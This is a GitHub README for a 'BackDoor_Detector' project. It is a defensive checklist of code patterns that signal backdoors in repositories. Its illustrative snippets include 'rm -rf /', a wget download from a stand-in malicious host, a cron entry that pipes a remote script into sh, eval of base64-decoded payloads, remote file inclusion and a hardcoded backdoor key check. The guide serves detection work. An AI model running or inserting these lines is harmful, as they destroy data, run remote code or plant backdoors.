Skip to content

subhampro/BackDoor_Detector

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

BackDoor_Detector

You can find backdoors and Remove malicious codes from your Existing Repositories!

BackDoor_Detector

# Identifying Backdoors and Malicious Code in Source Code Repositories

To identify potential backdoors, malware, or malicious code in a source code repository, you can search for specific patterns, functions, or suspicious code snippets commonly associated with such activities. Below are some indicators and code snippets to look for throughout the directory.

## 1. Suspicious Function Calls

Certain function calls are often used in backdoor code or malicious scripts.

### File Operations
Look for functions that create, modify, or delete files:
- `fopen`, `fwrite`, `fread`, `fclose`, `file_put_contents`, `unlink`, `chmod`

**Example:**
```php
fopen("/path/to/file", "w");

Command Execution

Functions that execute system commands are commonly used to backdoor a system:

  • system, exec, shell_exec, passthru, popen, eval, proc_open, backtick operators (``)

Example:

exec("rm -rf /");

Network Connections

Malicious scripts may open connections to remote servers:

  • curl_exec, file_get_contents, fsockopen, stream_socket_client, socket_create, socket_connect

Example:

curl_exec($ch);

2. Base64 and Encoding/Decoding Functions

Encoded data may be used to hide malicious payloads. Search for encoding/decoding functions.

Encoding

  • base64_encode, urlencode, bin2hex

Example:

base64_encode("malicious_payload");

Decoding

  • base64_decode, urldecode, hex2bin, gzuncompress

Example:

eval(base64_decode("encoded_payload"));

3. Suspicious HTTP Requests

Malicious code may make HTTP requests to suspicious URLs. Check for hardcoded URLs or IP addresses.

Examples:

file_get_contents("http://malicious-site.com");
curl_setopt($ch, CURLOPT_URL, "http://malicious-site.com");

4. Unusual Shell Commands

Search for shell commands or attempts to escalate privileges, install malicious packages, or access sensitive files.

Command Injection

Look for command injection patterns using ;, &&, |, > in user inputs or strings.

Example:

system("rm -rf /tmp/ ; wget http://malicious-site.com/malware");

5. Suspicious File Inclusion

Remote or dynamic file inclusion vulnerabilities can introduce backdoors. Search for dynamic or external file inclusions.

PHP File Inclusions

  • include, require, include_once, require_once

Example:

include($_GET['file']);

6. Hidden/Obfuscated Code

Look for obfuscated code using unusual variable names, encoded strings, or functions that hide their purpose.

JavaScript Obfuscation

  • eval, document.write, atob, setTimeout(eval())

Example:

eval(atob("YWxlcnQoJ1lvdSBjYW5ub3QgZXNjYXBlIGZyb20gdGhpcyBlbmNyeXB0ZWQgYmFja2Rvb3InKTs="));

7. Suspicious User Authentication Code

Search for hardcoded credentials or bypasses of user authentication.

Hardcoded Passwords/Keys

$password = 'admin123';  // Hardcoded credentials

Bypass

if ($user == 'admin') {
    // Skip authentication
}

8. Privilege Escalation

Look for any code that changes user or group privileges.

Linux Privilege Changes

  • setuid, setgid, chmod 777, sudo

Example:

setuid(0);  // Elevates to root privileges

9. Keylogging/Monitoring

Look for code that captures keystrokes or monitors user activity.

JavaScript Keylogging

document.addEventListener('keydown', function(event) {
    console.log(event.key);  // Capture keystrokes
});

Input Field Capturing

$input = $_POST['password'];  // Capture user input

10. Suspicious Scheduled Tasks

Look for cron jobs or scheduled tasks that execute scripts at specific intervals.

Linux Cron Jobs

* * * * * wget http://malicious-site.com/script.sh | sh

11. Backdoor Checksum/Signature Checks

Some backdoors check for data integrity signatures that attackers use to maintain control.

Backdoor Signatures

if (md5($_POST['key']) == '5f4dcc3b5aa765d61d8327deb882cf99') {  // Hardcoded backdoor signature
    // Execute malicious code
}

Automated Tools

To automate the detection of malicious code, consider using the following tools:

  • ClamAV: Open-source antivirus scanner
  • YARA: Pattern matching tool
  • Chkrootkit: Rootkit detection tool
  • rkhunter: Rootkit scanner

These methods provide a starting point for detecting backdoors or malicious code in source code. If you suspect any code, it’s crucial to analyze it further or have it reviewed by security experts.


Please Do Not depend on those Automated tools! No other tools Are 100% Backdoor Proof! Do It manually by yourself It's the best thing for your code. Best Of Luck Best Wishes For you..

About

You can find backdoors and Remove malicious codes from your Existing repo!

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors